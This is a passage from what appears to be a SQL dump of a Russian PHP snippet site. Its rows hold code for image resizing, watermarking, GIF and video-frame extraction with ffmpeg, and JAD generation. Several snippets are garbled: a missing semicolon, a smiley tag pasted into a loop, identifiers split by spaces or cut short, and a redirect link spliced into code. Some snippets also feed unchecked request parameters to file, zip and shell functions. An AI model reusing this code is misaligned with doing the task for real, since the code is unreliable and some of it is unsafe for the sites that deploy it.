$gif-&gt;addFrame($image);}','files_5589_3821_',151),(270,20,'Изменение изображение и качества','Функция изменения размера изображения с выставлением качества','function img_resize($src, $out, $width, $height, $color = 0xFFFFFF, $quality = 100) { // Если файл не существует if (!file_exists($src)) { return false; } $size = getimagesize($src); $format = strtolower(substr($size[\'mime\'], strpos($size[\'mime\'], \'/\') + 1)); $picfunc = \'imagecreatefrom\'.$format; $gor = $width / $size[0]; // Вертикальное соотношение $ver = $height / $size[1]; // Если не задана высота, вычислить изходя из ширины, пропорционально if ($height == 0) { $ver = $gor; $height = $ver * $size[1]; } // Так же если не задана ширина elseif ($width == 0) { $gor = $ver; $width = $gor * $size[0];} // Формируем размер изображения $ratio = min($gor, $ver); // Нужно ли пропорциональное преобразование if ($gor == $ratio) $use_gor = true; else $use_gor = false $new_width = $use_gor ? $width : floor($size[0] * $ratio); $new_height = !$use_gor ? $height : floor($size[1] * $ratio); $new_left = $use_gor ? 0 : floor(($width - $new_width) / 2); $new_top = !$use_gor ? 0 : floor(($height - $new_height) / 2); $picsrc = $picfunc($src); // Создание изображения в памяти $picout = imagecreatetruecolor($width, $height); // Заполнение цветом imagefill($picout, 0, 0, $color); // Нанесение старого на новое imagecopyresampled($picout, $picsrc, $new_left, $new_top, 0, 0, $new_width, $new_height, $size[0], $size[1]); // Создание файла изображения imagejpeg($picout, $out, $quality); // Очистка памяти imagedestroy($picsrc); imagedestroy($picout); return true; }','files_1779_1805_',151),(271,20,'JAD-генератор','JAD-генератор','&lt;?php $file = \'data/loads/ application.jar\'; header(\'Content-type: text/ vnd.sun.j2me.app-desсriptor\'); header(\'Content- Disposition: filename=applicatio echo file_get_contents (\'zip://\'.dirname(__FILE__).\'/\'. $file.\'#META-INF/ MANIFEST.MF\').&quot;n MIDlet-Jar-Size: &quot;.filesize($file).&quot;n MIDlet-Jar-URL: &lt;a href=&quot;http:// phpzona.ru/go.php? go=aHR0cDovL1wiLiRfU0VSVkVS $_SERVER [\'SERVER_NAME\'].dirname ($_SERVER[\'SCRIPT_NAME\']).\'/\'. $file;&lt;/a&gt; ?&gt;','files_4692_5047_',151),(272,20,'Анимация из видео','Анимация из видео','&lt;?php $file = &quot;file.avi&quot;; $movie = new ffmpeg_movie ($file); $gif=new ffmpeg_animated_gif (&quot;image.gif&quot;,100 ,100 ,24); for ( $frame = 150; $frame &lt;= 20 +&lt;img src=&quot;/style/smiles/ smile.gif&quot; alt=&quot;+)&quot; /&gt; { $image = $movie-&gt;getFrame ($frame); $gif-&gt;addFrame($image);} ?&gt;','files_2881_2081_',151),(273,20,'Вынимаем иконку из Java- приложения','Вынимаем иконку из Java- приложения','&lt;?php if(!isset($_GET[\'jar\']))exit; $zip = new ZipArchive; if ($zip-&gt;open(base64_decode ($_GET[\'jar\'])) === TRUE) { if($manifest = $zip- &gt;getFromName(\'META-INF/ MANIFEST.MF\')){ if (strpos($manifest, \'MIDlet- Icon: \') !== FALSE){ $jad = explode(\'MIDlet-Icon: \', $manifest); $icon = str_replace(&quot;n&quot;,\' \', $jad [1]); $icon = str_replace (&quot;r&quot;,\' \', $icon); $icon = strtok($icon,\' \'); $icon = preg_replace(\'#/ #\', NULL, $icon); } else $icon=\'icon.png\'; }else exit; if($image = $zip-&gt;getFromName ($icon)){ $image = imagecreatefromstrin ($image); $width=imagesx($image); $height=imagesy($image); $x_ratio=16/$width; $y_ratio=16/$height; if(($width&lt;=16)&amp;&amp; ($height&lt;=16)){ $tn_width=$width; $tn_height=$height; }elseif(($x_ratio*$height)&lt;16){ $tn_height=ceil($x_ratio* $height); $tn_width=16; }else{ $tn_width=ceil($y_ratio* $width); $tn_height=16; } $dst=ImageCreate($tn_width, $tn_height); imagecopyresampled ($dst, $image, 0, 0, 0, 0, $tn_widt $tn_height,$width,$height); $image = $dst; }else{ // эта иконка будеет, если в архи $image = imagecreatefrompng (\'my_icon.png\'); } header(\'Content-type: image/ png\'); ImagePng($image); ImageDestroy($image); $zip-&gt;close(); } ?&gt;','files_3678_4710_',151),(274,20,'Анимационный текст (GIF)','Создастся анимация с текстом PHPcodes.RU. Требуется библиотека Image Magick','&lt;?php  $animation = new Imagick();  $animation-&gt;setFormat(\'gif\');    $color = new ImagickPixel(\'white\');  $color-&gt;setColor(\'white\');  $string = \'PHPcodes.RU\';  $draw = new ImagickDraw();  //$draw-&gt;setFont(\'Arial\');  for ($i = 0; $i &lt;= strlen($string); $i++)  {  $part = substr($string, 0, $i);    $animation-&gt;newImage(100, 40, $color);    $animation-&gt;annotateImage($draw, 10, 20, 0, $part);  $animation-&gt;setImageDelay(30);  }    //$draw-&gt;setFont(\'Arial-Bold\');  $draw-&gt;setTextDecoration(imagick::DECORATION_UNDERLINE);  $animation-&gt;newImage(100, 40, $color);    $animation-&gt;annotateImage($draw, 10, 20, 0, $string);  $animation-&gt;setImageDelay(70);  header(\'Content-Type: image/gif\');  echo $animation-&gt;getImagesBlob();  ?&gt;','files_3282_2519_',151),(275,20,'Мини-диаграмма в виде полоски','Маленькая диаграмма в виде полосски. Через GET запрос передаем количество процентов, которое надо зарисовать. Например rat.php?p=42\r\nЗарисуется 42% полоски.','&lt;?php  //Определяем сколько надо закрасить  $p = (isset($_GET[\'p\']) &amp;&amp; $_GET[\'p\']&gt;=0 &amp;&amp; $_GET[\'p\']&lt;=100) ? (int)$_GET[\'p\'] : 50;  //Создаем картинку  $image = imagecreate(123, 8);  //Цвет фона  $bg = imagecolorallocate ($image, 0, 0, 0);  //Цвет активной части и надписи к-ва %  $act = imagecolorallocate($image, 210, 210, 210);  //Цвет пассивной части  $emp = imagecolorallocate($image, 250, 250, 250);  imagefill($image, 0, 0, $bg);  imagefilledrectangle($image, 1, 1, 100, 6, $emp);  if($p &gt; 0)  imagefilledrectangle($image, 1, 1, $p, 6, $act);  //Пишем к-во %  imagestring($image, 1, 102, 0, $p.\'%\', $act);  header(\'Content-type: image/png\');  imagepng($image);  imagedestroy($image);  ?&gt;','files_2834_3595_',151),(276,20,'Резка картинок','Резка картинок на сайте','&lt;?php $w_new = \'100\'; $foto = \'foto.jpg\'; $old = imageCreateFromJpeg(&quot;$foto&quot;); $w = imageSX($old); $h = imageSY($old); $new = $h / $w; $h_new= $w_new * $new; $new = imageCreate($w_new, $h_new); $new = imagecreatetruecolor($w_new, $h_new); imageCopyResized($new, $old, 0, 0, 0, 0, $w_new, $h_new, $w, $h); imageJpeg($new,&quot;&quot;,&quot;80&quot;); ?&gt;','files_3753_2928_',151),(277,20,'Наложение картинки на картинку','Наложение картинки на\r\nкартинку','&lt;? php $ img = $_ GET [ &quot; img&quot; ]; / / / путь к картинке которую копирайтим $ im = imagecreatefromjpeg ( $ img); $ lg = imagecreatefrompng ( &quot; copyrite . png&quot; ); / // наша картинка копирайта $ img_ x = imagesx( $ im); $ img_ y = imagesy( $ im); $ img_ x _ copy = imagesx( $ lg); $ img_ y _ copy = imagesy( $ lg); imagecopy ( $ im, $ lg, $ img_ x- $ img_ x _ copy , $ img_ y - $ img_ y _ copy , 0 , 0, $ img_ x _ copy , $ img_ y _ copy ); header (&quot; Content- Type : image / jpeg &quot; ); imagejpeg ( $im ); imagedestroy ( $ im); / / /чистим мусор imagedestroy ( $ lg); / / /чистим мусор ? &gt;','files_3045_4984_',151),(278,20,'Наложение иконки/текста','Наложение иконки/текста на изображение.','function copyImage ($sOrigImg, $sWmImg, $text) { $aImgInfo = getimagesize($sOrigImg); $aWmImgInfo = getimagesize($sWmImg); if (is_array($aImgInfo) &amp;&amp; count($aImgInfo)) { header (&quot;Content-type: image/png&quot;);  $iSrcWidth = $aImgInfo[0]; $iSrcHeight = $aImgInfo[1];  $rImage = imagecreatetruecolor($iSrcWidth+$iFrameSize*2, $iSrcHeight+$iFrameSize*2); // Создаем новое изображение $rSrcImage = imagecreatefromjpeg($sOrigImg); // Создаем исходное изображение   imagecopy($rImage, $rSrcImage, $iFrameSize, $iFrameSize, 0, 0, $iSrcWidth, $iSrcHeight); // Копируем полученное изображение на изображение-источник  if (is_array($aWmImgInfo) &amp;&amp; count($aWmImgInfo)) { $rWmImage = imagecreatefrompng($sWmImg); // Создаем изображение водяного знака imagecopy($rImage, $rWmImage, $iSrcWidth-$aWmImgInfo[0], $iFrameSize, 0, 0, $aWmImgInfo[0], $aWmImgInfo[1]); // Копируем изображение водяного знака на изображение источник }  if ($text) { $iTextColor = imagecolorallocate($rImage, 255, 255, 255); // Определяем цвет текста imagestring($rImage, 5, $iFrameSize*2, $iFrameSize*2, $text, $iTextColor); // Рисуем текст } return imagepng($rImage); // Выводим изображение } else { return \'Image error!\'; } }  /* Использование */ $file = \'content/album/df1a0f99bf79d388d91acafd836aa25c.jpg\'; // Файл с изображением $copy = \'images/icon/cross.png\'; // Копирайт $text = \'Text\'; // Текст  echo copyImage($file, $copy, $text); // Вывод','files_3449_4870_',151),(279,20,'Социальные иконки','Может кому нибудь нужны.','echo &quot;&lt;div class=\'pluso pluso-theme-color pluso-small\'&gt;&lt;a class=\'pluso-facebook\'&gt;&lt;/a&gt;&lt;a class=\'pluso-twitter\'&gt;&lt;/a&gt;&lt;a class=\'pluso-vkontakte\'&gt;&lt;/a&gt;&lt;a class=\'pluso-odnoklassniki\'&gt;&lt;/a&gt;&lt;a class=\'pluso-google\'&gt;&lt;/a&gt;&lt;a class=\'pluso-livejournal\'&gt;&lt;/a&gt;&lt;a class=\'pluso-moimir\'&gt;&lt;/a&gt;&lt;a class=\'pluso-liveinternet\'&gt;&lt;/a&gt;&lt;a class=\'pluso-email\'&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt; &lt;script type=\'text/javascript\'&gt;if(!window.pluso){pluso={version:\'0.9.1\',url:\'http://share.pluso.ru/\'};h=document.getElementsByTagName(\'head\')[0];l=document.createElement(\'link\');l.href=pluso.url+\'pluso.css\';l.type=\'text/css\';l.rel=\'stylesheet\';s=document.createElement(\'script\');s.src=pluso.url+\'pluso.js\';s.charset=\'UTF-8\';h.appendChild(l);h.appendChild(s)}&lt;/script&gt;&quot;;','files_5032_4807_',151),(280,20,'Плавное выдвигающееся меню','$(document).ready(function(){\r\n$(&quot;.btn-slide&quot;;).click(function(){ //если сделан клик\r\n$(&quot;#panel&quot;;).slideToggle(&quot;slow&quot;;);\r\n$(this).toggleClass(&quot;active&quot;;); return false; //меняем класс\r\n\r\nCSS-----\r\n#panel {\r\nbackground-color: #FFCC99;\r\nborder: 1px solid #DBE0EA;\r\npadding: 4px 4px 4px 4px;\r\nbackground: #FFCC99;\r\nheight: 40px;\r\ndisplay: none;\r\n\r\n}\r\n.slide {\r\nfont-weight: bold;\r\nbackground-color: #FF6633;\r\nborder: 1px solid #D7CF9E;\r\npadding: 4px 4px 4px 4px;\r\nbackground: #FF6633;\r\ncolor: #FFFFFF;\r\n}\r\n.btn-slide {\r\nbackground: #FF6633;\r\nwidth: 200px;\r\nheight: 20px;\r\ndisplay: block\r\n}\r\n#bs-panel{\r\nposition: absolute;\r\nz-index: 999;\r\n}\r\n});\r\n});','$(document).ready(function(){ $(&quot;.btn-slide&quot;).click(function(){ $(&quot;#panel&quot;).slideToggle(&quot;slow&quot;); $(this).toggleClass(&quot;active&quot;); return false; }); });','files_1454_3967_',151),(281,20,'Создание скриншота сайта','Создание\r\nскриншота сайта\r\nРаботает под виндой на\r\nPHP 5 &gt;= 5.2.2','&lt;?php $browser = new COM(&quot;InternetExplorer.Application&quot;); $handle = $browser-&gt;HWND; $browser-&gt;Visible = true; $browser-&gt;Navigate(&quot;http://ya.ru&quot;); while ($browser-&gt;Busy) { com_message_pump(4000); } $im = imagegrabwindow($handle, 0); $browser-&gt;Quit(); imagepng($im, &quot;iesnap.png&quot;); ?&gt;','files_3125_1879_',151),(282,20,'Рисуем пирамиду','Давайте\r\nотвлечемся и займемся\r\nграфикой, и изучим\r\nполигоны, что дает талчек\r\nв изучении 3D графики.','header (&quot;Content-type: image/png&quot;); //создадим холст размером 1000*1000 $H=1000; $W=$H; /////////////////////////////////////////////////////// #обозначим точки на холсте $a=array(100,900); $b=array(300,700); $c=array(800,700); $d=array(600,900); $k=array(400,100); //создание холста $img = imagecreatetruecolor($H, $W); //установка цвета $color = imagecolorallocate($img,225, 85, 190);  ######################################## #основание ######################################## $e=array_merge($a,$b,$c,$d); $col=count($e)/2; imagepolygon($img,$e,$col, $color); ######################################## #грань1 ######################################## $color = imagecolorallocate($img,125, 85, 90); # $e1=array_merge($a,$b,$k); $col=count($e1)/2; imagepolygon($img,$e1,$col, $color); ######################################## #грань2 ########################################  $color = imagecolorallocate($img,225, 85, 90); # $e2=array_merge($a,$d,$k); $col=count($e2)/2; imagepolygon($img,$e2,$col, $color); ######################################## #грань3 ######################################## $color = imagecolorallocate($img,125, 185, 190); # $e2=array_merge($d,$c,$k); $col=count($e2)/2; imagepolygon($img,$e2,$col, $color); ######################################## #грань4 ######################################## $color = imagecolorallocate($img,225, 185, 190); # $e2=array_merge($c,$b,$k); $col=count($e2)/2; imagepolygon($img,$e2,$col, $color);  //вывод изображения imagepng($img);','files_4317_3121_',151),(283,20,'Нанести копирайт на картинку','Нанести копирайт на картинку','&lt;?php  $img = $_GET[\'img\']; /// путь к картинке которую копирайтим $im = imagecreatefromjpeg($img); $lg = imagecreatefrompng(\'copywrite.png\'); /// наша картинка копирайта $img_x = imagesx($im); $img_y = imagesy($im); $img_x_copy = imagesx($lg); $img_y_copy = imagesy($lg); imagecopy($im, $lg, $img_x-$img_x_copy, $img_y-$img_y_copy, 0, 0, $img_x_copy, $img_y_copy); header(\'Content-Type: image/jpeg\'); imagejpeg($im); imagedestroy($im); /// чистиммусор imagedestroy($lg); /// чистим мусор  ?&gt;','files_2826_1303_',151),(284,20,'Генерируем случайное число на картинке','Генерируем случайное число на картинке','&lt;?php /* *Генерация случайного числа на картинке *автор: nc_soft *25.08.07 */  $rand = mt_rand(10000,99999); //случайное число  $img = &quot;fone.jpg&quot;; //фон (jpg файл) 90*68  $pic = imageCreateFromjpeg($img); //создаем картинку  $size = 24; //размер шрифта  $angle = rand (-10, 10); //угол поворота $x = rand(-2,15); //смещение по оризонтали $y = rand(35,60); //смещение по вертикали $color = rand(1000,9999999); //случайный цвет  $font = \'times\'; //шрифт  ImageTTFtext($pic, $size, $angle , $x, $y, $color, $font, $rand);  /* imagettftext(image, size, angle, x, y, col, fontfile, text)  Итак, size — размер шрифта текста в пикселях, angle — угол наклона текста в градусах (0 — нормальный горизонтальный вывод слева направо, 90, к примеру — снизу вверх, и так далее по кругу против часовой стрелки). Параметр fontfile — путь к самому .ttf файлу шрифта и, наконец, text — строка, представляющая выводимый текст, функция предусматривает возможность переноса строк, тоесть удобна для вывода именно текста. Для переноса нужно вставить последовательность символов \\n\\r (перенос строки и возврат каретки). */  //выдача header(\'Content-type:image/jpeg\'); imagejpeg($pic); imagedestroy($pic); ?&gt;','files_1815_5121_',151),(285,20,'Вывод надписи на изображении ttf шрифтом','Вывод надписи на изображении ttf шрифтом','&lt;?php /* *Вывод надписи на изображении ttf шрифтом *автор: nc_soft *12.10.07 */  //текст в утф-8 (можно с переносом строки) $text=&quot;выводимая \\n строка&quot;;  //АБСОЛЮТНЫЙ путь к шрифту! например шрифт arial.ttf лежит в папке скрипта $font=getcwd().\'/arial.ttf\';  //создаем изображение 100*100 $im = imagecreatetruecolor(100, 100);  //белый фон изображения $white = imagecolorallocate($im, 255, 255, 255);  //цвет букв $red = imagecolorallocate($im, 255, 0, 0);  //заливаем белым фоном imagefilledrectangle($im, 0, 0, 100, 100, $white);  //наносим текст imagettftext($im, 9, 0, 10, 20, $red, $font,$text);  /* imagettftext ( идентификатор, размер шрифта, угол поворота, начальная точка по Х, начальная точка по У, путь к шрифту, текст ) */  //выдача в браузер header(\'Content-Type: image/jpeg\'); imagejpeg($im); ?&gt;','files_4328_3063_',151),(286,20,'Вывод картинки (новичкам)','Вывод картинки. Думаю новичкам пригодиться:)\r\nimg - директория с картинкой\r\npic.png - сама картинка\r\npic - подпись к картинке','echo \'&lt;img src=&quot;img/pic.png&quot; alt=&quot;pic&quot;/&gt;\';','files_5624_1683_',151),(287,19,'Мелодия на странице)','Мелодия на странице','&lt;body bgsound src=&quot; http:// url_мелодии(midi.mp3)&quot; loop=&quot;число повторений&quot; volume=&quot;громкость(-1000 - 0)&quot; balance=&quot;баланс(-1000 - 1000)&quot; /&gt;','files_5407_2531_',151),(288,19,'Проверка расширения ffmpeg','Проверяем на существование расширения ffmpeg на сервере','&lt;?php  if(extension_loaded(\'ffmpeg\')) echo \'Расширение ffmpeg загружено :)\'; else echo \'Увы, расширение ffmpeg не загружено :(\';  ?&gt;','files_3601_3452_',151),(289,19,'Снятие скриншота с 3gp видеороликаа','Снятие скриншота с 3gp видеоролика','&lt;?php    /*    * Снятие скриншота с 3gp видеоролика    * автор: nc_soft    * 17.01.08    */    if (!class_exists(ffmpeg_movie))    {    die(\'ничего не выйдет, нужна ffmpeg на хостинге\');    }    //создание объекта (тестовый файл test.3gp)    $file=\'test.3gp\';    if (file_exists($file))    {    $mov = new ffmpeg_movie($file);    }    else    {    die(\'невозможно найти файл\');    }    //номер кадра    $frame = 50;    //ширина    $w = $mov-&gt;GetFrameWidth();    //высота    $h = $mov-&gt;GetFrameHeight();    //извлечение кадра    $ff_frame = $mov-&gt;getFrame($frame);    if ($ff_frame)    {    //в формат GD    $gd_image = $ff_frame-&gt;toGDImage();    if ($gd_image)    {    //вывод (для примера в gif)    header(\'Content-type: image/gif\');    imagegif($gd_image);    /*можно сделать изменение размера, нанесение копирайтов и водяных знаков, в общем все что применимо для GD*/    }    else    {    die(\'невозможно преобразовать в GD\');    }    }    else    {    die(\'невозможно извлечь кадр\');    }    /*    описания всех методов ffmpeg_movie смотрим тут    &lt;a href=&quot;http://profiwm.com/all/str.php?url=http://ffmpeg-php.sourceforge.net/doc/api/ffmpeg_movie.php&quot;&gt;http://ffmpeg-php.sourceforge.net/doc/api/ffmpeg_movie.php&lt;/a&gt;    */    ?&gt;','files_4733_1967_',151),(290,19,'Добавление видео HTML5','Код для добавления, а в дальнейшем для воспроизведения видео на вашем сайте. Код предельно простой, в котором все ясно и понятно. Единственный мнимый минус этого кода - поддерживает его только Google Chrome и браузер IPhone, это если смотреть среди мобильных устройств, на компьютерах же, вроде бы на всех последних версиях браузеров есть поддержка HTML5.\r\nПРедпочтительней использовать видео файлы формата mp4.\r\nСлово &quot;controls&quot; добавляет панельку для управления воспроизведением видео.','&lt;video width=&quot;400&quot; height=&quot;300&quot; controls&gt; &lt;source src=&quot;video.mp4&quot;&gt; &lt;/video&gt;','files_2562_1703_',151),(291,19,'Установка видео','вместо ваш-сайт впишите - адрес видео файла\r\nвместо файл впишите - название видео файла\r\nwmv - расширение видео файла','&lt;object type=\'application/x-mplayer2\' data=\'http://ваш-сайт.ru/файл.wmv\' width=\'320\' height=\'300\'&gt; &lt;param name=\'FileName\' value=\'http://ваш-сайт.ru/файл.wmv\'&gt; &lt;param name=\'autoplay\' value=\'true\'&gt; &lt;/object&gt;','files_4751_1863_',151),(292,19,'Ресайз изображения','Подробное описание как изменить размер и вес изображения.','// путь к изображению $file = &quot;/i/image.gif&quot;; // папка - i, изображение - image.gif  // для того чтобы файл был высвячен как изображение, пишем следующее header(\'Content-Type: image/jpeg\'); // jpeg - это формат, в котором будет показано изображение  // выводим ширину и высоту изображения list($width, $height) = getimagesize($file); // width - ширина, height - высота  // задаем параметны ширины и высоты для ресайза $new_width = 100; // 100px $new_height= 100; // 100px  // понеслась... $img_new_size = imagecreatetruecolor($new_width, $new_height); // меняем размеры изображения $img_new = imagecreatefromjpeg($file); // присваиваем формат jpeg     // всё это смешиваеш :) imagecopyresized($img_new_size, $img_new, 0, 0, 0, 0, $new_width, $new_height, $width, $height);   // показ резульата imagejpeg($img_new_size);','files_2264_5531_',151),(293,19,'Рисование копирайтов на изображениях','Рисование копирайтов на изображениях','&lt;?php //заголовок header (&quot;Content-type: image/png&quot;);  //оригинальное изображение (в данном случаи 128*97 $img = imagecreatefromjpeg(&quot;example.jpg&quot;);   /* *все координаты задаются от ВЕРХНЕГО ЛЕВОГО угла изображения (там 0.0) */  //верхняя левая точка прямоугольника (все изображение в примере 128*97) $x1=50; $y1=5;  //нижняя правая точка прямоугольника (все изображение в примере 128*97) $x2=125; $y2=20;  //степень прозрачности прямоугольника $DARKNESS=100;  //цвет прямоугольника $dark = imagecolorallocatealpha($img, 0, 0, 0, $DARKNESS);  //рисуем прямоугольник imagefilledrectangle($img,$x1,$y1,$x2,$y2,$dark);  //цвет надписи (белый) $white=imagecolorallocate($img,255,255,255);  //координаты надписи (где-то в прямоугольнике ;) ) $x=55; $y=10;  //рисуем надпись imagestring($img,1,$x,$y,&quot;snippets.pp.ru&quot;,$white);  //выводим и освобождаем память imagepng($img); imagedestroy($img);  ?&gt;','files_5257_3286_',151),(294,19,'Функция изменения размера изображения с выставлением качества','Функция изменения размера изображения с выставлением качества','function img_resize($src, $out, $width, $height, $color = 0xFFFFFF, $quality = 100) { // Если файл не существует if (!file_exists($src)) { return false; } $size = getimagesize($src); $format = strtolower(substr($size[\'mime\'], strpos($size[\'mime\'], \'/\') + 1)); $picfunc = \'imagecreatefrom\'.$format; $gor = $width / $size[0]; // Вертикальное соотношение $ver = $height / $size[1]; // Если не задана высота, вычислить изходя из ширины, пропорционально if ($height == 0) { $ver = $gor; $height = $ver * $size[1]; } // Так же если не задана ширина elseif ($width == 0) { $gor = $ver; $width = $gor * $size[0];} // Формируем размер изображения $ratio = min($gor, $ver); // Нужно ли пропорциональное преобразование if ($gor == $ratio) $use_gor = true; else $use_gor = false $new_width = $use_gor ? $width : floor($size[0] * $ratio); $new_height = !$use_gor ? $height : floor($size[1] * $ratio); $new_left = $use_gor ? 0 : floor(($width - $new_width) / 2); $new_top = !$use_gor ? 0 : floor(($height - $new_height) / 2); $picsrc = $picfunc($src); // Создание изображения в памяти $picout = imagecreatetruecolor($width, $height); // Заполнение цветом imagefill($picout, 0, 0, $color); // Нанесение старого на новое imagecopyresampled($picout, $picsrc, $new_left, $new_top, 0, 0, $new_width, $new_height, $size[0], $size[1]); // Создание файла изображения imagejpeg($picout, $out, $quality); // Очистка памяти imagedestroy($picsrc); imagedestroy($picout); return true; }','files_2050_5035_',151),(295,19,'Показываем автора поисковой системе гугл.','Для того, чтобы указать свое авторство\r\nдля поисковой системы гугл, нужно\r\nвоспользоваться собственным профилем\r\ngoogle плюс. В код ссылки на странице\r\nдобавляется атрибут rel=author. Выглядит это\r\nследующим образом:','&lt;a href=&quot;https:// plus.google.com/117134859089642446586&quot; rel=&quot;author&quot; &gt;Ваш профиль в Google+&lt;/a&gt; или &lt;ahref=&quot;https:// plus.google.com/117134859089642446586/ about?rel=author&quot;&gt;Ваш профиль в Google +&lt;/a&gt;','files_4106_3051_',151),(296,19,'ТВ каналы на ваш сайт','ТВ каналы на ваш сайт','&lt;iframe scrolling=&quot;no&quot; frameborder=&quot;0&quot; src=&quot;http://tvforsite.ru/onlinetv.php?playerid=29509&quot; width=&quot;640px&quot; height=&quot;393px&quot;&gt; Ваш браузер не не поддерживает плавающие фреймы! &lt;/iframe&gt;','files_1452_2228_',151),(297,19,'смена тональности песен','Функция смены тональности\r\nпесен с аккордамы','&lt;?php function alterate ($chords_string, $half_tones_alt) { $data_half_tones = array( 0 =&gt; \'C\', 2 =&gt; \'D\', 4 =&gt; \'E\', 5 =&gt; \'F\', 7 =&gt; \'G\', 9 =&gt; \'A\', 10 =&gt; \'B\', 11 =&gt; \'H\', ); $wrong_alts = array( \'A#\' =&gt; \'B\', \'B#\' =&gt; \'H\', \'H#\' =&gt; \'C\', \'E#\' =&gt; \'F\', ); $data_chords = array_flip ($data_half_tones); $strlen = strlen ($chords_string); $return = \'\'; for($i = 0; $i &lt; $strlen; $i++) { if(in_array($chords_string[$i], $data_half_tones)) { $new_tone = $data_chords [$chords_string[$i]] + $half_tones_alt; $new_tone = ($new_tone &gt; 11 ? $new_tone % 12 : $new_tone); $return .= (array_key_exists ($new_tone, $data_half_tones) ? $data_half_tones[$new_tone] : (array_key_exists ($data_half_tones[$new_tone - 1].\'#\', $wrong_alts) ? $wrong_alts[$data_half_tones [$new_tone - 1].\'#\'] : $data_half_tones[$new_tone - 1].\'#\' ) ); } else { $return .= $chords_string[$i]; } } return $return; } echo alterate(\'Em H7 Em H7\', +2); //F#m C#7 F#m C#7 ?&gt;','files_3508_5176_',151),(298,19,'Сосздание preview картинок','Сосздание preview картинок','&lt;?php function resize ($filename, $size) { $pref = \'mini_\'; $img = strtolower(strrchr(basename($filename), &quot;.&quot;)); $imgname = basename($filename); $formats = array(\'.jpg\', \'.gif\', \'.png\', \'.bmp\'); if (in_array($img, $formats)) { list($width, $height) = getimagesize($filename); $new_height = $height * $size; $new_width = $new_height / $width; $thumb = imagecreatetruecolor($size, $new_width); switch ($img) { case \'.jpg\': $source = @imagecreatefromjpeg($filename); break; case \'.gif\': $source = @imagecreatefromgif($filename); break; case \'.png\': $source = @imagecreatefrompng($filename); break; case \'.bmp\': $source = @imagecreatefromwbmp($filename); break; } imagecopyresized($thumb, $source, 0, 0, 0, 0, $size, $new_width, $width, $height); switch ($img) { case \'.jpg\': imagejpeg($thumb, $pref.$imgname); break; case \'.gif\': imagegif($thumb, $pref.$imgname); break; case \'.png\': imagepng($thumb, $pref.$imgname); break; case \'.bmp\': imagewbmp($thumb, $pref.$imgname); break; } } else return \'Error\'; @imagedestroy($thumb); @imagedestroy($source); return $imgname; } # - &gt; Пример работы: &lt; - #  echo \'&lt;img src=&quot;mini_\'.resize(\'http://www.webnotes.com.ua/demo/img-resize/test.jpg\',200).\'&quot; /&gt;\'; ?&gt;','files_5330_2736_',151),(299,19,'Jad генератор на основе ZipArchive','Jad генератор на основе ZipArchive','&lt;?php /** * Jad генератор на основе ZipArchive * 13.02.09 */ $file = \'test.jar\'; $jad = \'\';  //создаем объект $z = new ZipArchive();  if ($z-&gt;open($file)) { $fp = $z-&gt;getStream(\'META-INF/MANIFEST.MF\'); if(!$fp) exit(&quot;не удалось открыть манифест&quot;);  //читаем данные while (!feof($fp)) { $jad .= fread($fp, 200); }  fclose($fp);  //дописываем что надо $jad .= &quot;\\nMIDlet-Jar-Size: &quot;.filesize($file).&quot;\\nMIDlet-Jar-URL: $file&quot;;  //сохраняем file_put_contents(\'test.jad\', $jad); }  //А вообще, можно извлечь манифест еще проще echo file_get_contents(&quot;zip://$file#META-INF/MANIFEST.MF&quot;); //http://ru.php.net/manual/en/function.ziparchive-getstream.php ?&gt;','files_2592_1621_',151),(300,19,'Получаем анимированую картинку из видео','Получаем анимированую картинку из видео','$file = &quot;file.avi&quot; ; $movie = new ffmpeg_movie ( $file ); $gif =new ffmpeg_animated_gif ( &quot;image.gif&quot; , 100 , 100 , 24); for ( $frame = 150; $frame &lt;= 200; $frame ++) { $image = $movie -&gt; getFrame ( $frame ); $gif -&gt; addFrame ( $image );}','files_4967_1505_',151),(301,19,'Водяной знак на видео','Водяной знак на видео','Заранее подготовь маску (картинку с копирайтом) для наложения ее на видео. Потом разрезаешь видео на кадры. Это делаеться следующей командой: &lt;?php ffmpeg - i terminator_vp f image2 src/i %09d.jpg ?&gt; После совмещаешь полученную последовательность кадров с маской (картинка с копирайтом). &lt;?php $s = array(); $m = array (); $d = dir (\'src\'); while (fal == ($e = $d- &gt;read())) { if($e ! = \'.\' &amp;&amp; $e ! = \'..\') array_p ($s, $e); } $d-&gt;close (); $d = dir (\'mask\'); while (fal == ($e = $d- &gt;read())) { if($e ! = \'.\' &amp;&amp; $e ! = \'..\') array_p ($m, $e); } $d-&gt;close (); sort($s); sort($m); $sz = geti (\'src/\'.$s[0]); if($sz [0] &gt; 0 &amp;&amp; $sz [1] &gt; 0) foreach ($m as $mi) { system (&quot;convert mask/ $mi -resize $sz [0]x$sz [1] cmask/ $mi&quot;); } ; $i = 0; while ($i &lt; count ($s) &amp;&amp; count ($s) &gt; 0 &amp;&amp; cou ($m) &gt; 0) { for ($j = 0; $j &lt; c ($m); $j+ +) { system (&quot;composite - compose over cm $m[$j].&quot; src/&quot;. $s [$i].&quot; result/&quot; $s[$i]); $i++; if ($i &gt;= count ($s)) break; } } ?&gt; И, естественно, собираешь все кадры вместе. &lt;?php ffmpeg - f image2 - i result/i %09d.jpg - f flv -b 128K - vcodec libx264 ?&gt; Получаем видео с водяным знаком.','files_3567_2039_',151),(302,19,'Обрезка видео ffmpeg','Обрезка видео ffmpeg','&lt;?php /** * Обрезка видео ffmpeg * автор: Nc_Soft * 19.01.10 */  //отрежем 1 минуту от начала exec(\'ffmpeg -i video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:01:00 trim_video.avi\');','files_2665_4234_',151),(303,19,'JAD Генератор','JAD Генератор','&lt;?php  $file = \'data/loads/application.jar\';    header(\'Content-type: text/vnd.sun.j2me.app-descriptor\');  header(\'Content-Disposition: filename=application.jad\');  echo file_get_contents(\'zip://\'.dirname(__FILE__).\'/\'.$file.\'#META-INF/MANIFEST.MF\').&quot;\\n  MIDlet-Jar-Size: &quot;.filesize($file).&quot;\\n  MIDlet-Jar-URL: http://[\'SERVER_NAME\'].dirname($_SERVER[\'SCRIPT_NAME\']).\'/\'.$file;  ?&gt;','files_3664_1706_',151),(304,19,'извлечение скринов из тем .nth','извлечение скринов из тем .nth','&lt;?php require_once(\'pclzip.lib.php\' ); $nth = new PclZip(\'test.nth\'); $content = $nth-&gt;extract(PCLZIP_OPT_BY_NAME,\'theme_descriptor.xml\',PCLZIP_OPT_EXTRACT_AS_STRING); $content = $content[0][\'content\']; $teg = simplexml_load_string($content)-&gt;wallpaper[\'src\'] or $teg = 